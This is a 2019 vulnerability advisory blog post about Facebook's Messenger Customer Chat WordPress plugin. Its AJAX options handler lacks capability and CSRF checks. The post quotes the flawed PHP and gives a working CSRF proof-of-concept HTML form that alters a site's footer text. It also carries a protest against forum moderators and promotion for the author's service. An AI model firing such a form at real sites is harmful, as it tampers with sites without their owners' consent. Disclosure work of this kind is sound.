17 Jun 2019

Facebook’s WordPress Plugin Messenger Customer Chat Contains an Authenticated Settings Change Vulnerability

In our previous post we detailed our running across a vulnerable WordPress plugin made by Facebook with 200,000+ installs, after noticing that we did a quick check to see if any other there other plugins had similar issues. We found that their plugin Messenger Customer Chat, which has 20,000+ installs, contains a similar vulnerability, though in this case the code is even less secure.

The plugin registers the function fbmcc_update_options() to be accessible to anyone logged in to WordPress through its AJAX functionality:

55
add_action( 'wp_ajax_update_options', 'fbmcc_update_options');

The function, which is located in the file /options.php, will update two WordPress options (settings):

57
58
59
60
61
function fbmcc_update_options() {
  update_option( 'fbmcc_enabled', "1" );
  update_option( 'fbmcc_generatedCode', sanitize_textarea_field( $_POST['fbmcc_generatedCode'] ) );
  wp_die();
}

That is missing both a capabilities check to limit what type of users can access it and a nonce check to prevent cross-site request forgery (CSRF).

The code does sanitize the value form user input, which makes the code seem odd, since the name of the setting and input, “fbmcc_generatedCode”, would seem to indicate it should include some sort of code, most likely JavaScript, but the sanitation would remove that. Further checking confirmed that the setting should include JavaScript code.  This code isn’t actually used by the plugin, so it isn’t clear what it is doing there, other than being something created during development that was then abandoned but not removed.

Due to the sanitization, what this vulnerability could lead to is limited to disabling the functionality of the plugin or placing a message on the website’s pages, as the value of the option is placed at the bottom of frontend pages:

27
28
29
30
31
32
33
34
35
36
37
    add_action( 'wp_footer', array( $this, 'fbmcc_inject_messenger' ) );
  }
 
  function fbmcc_inject_messenger() {
    if( get_option( 'fbmcc_enabled' ) == '1'
      && get_option( 'fbmcc_generatedCode' ) != ''
    ) {
      _e( stripslashes( get_option( 'fbmcc_generatedCode' ) ) );
    }
  }
}

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause the message “Proof of Concept” to be added to the bottom of web pages, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=update_options" method="POST">
<input type="hidden" name="fbmcc_generatedCode" value="Proof of Concept">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.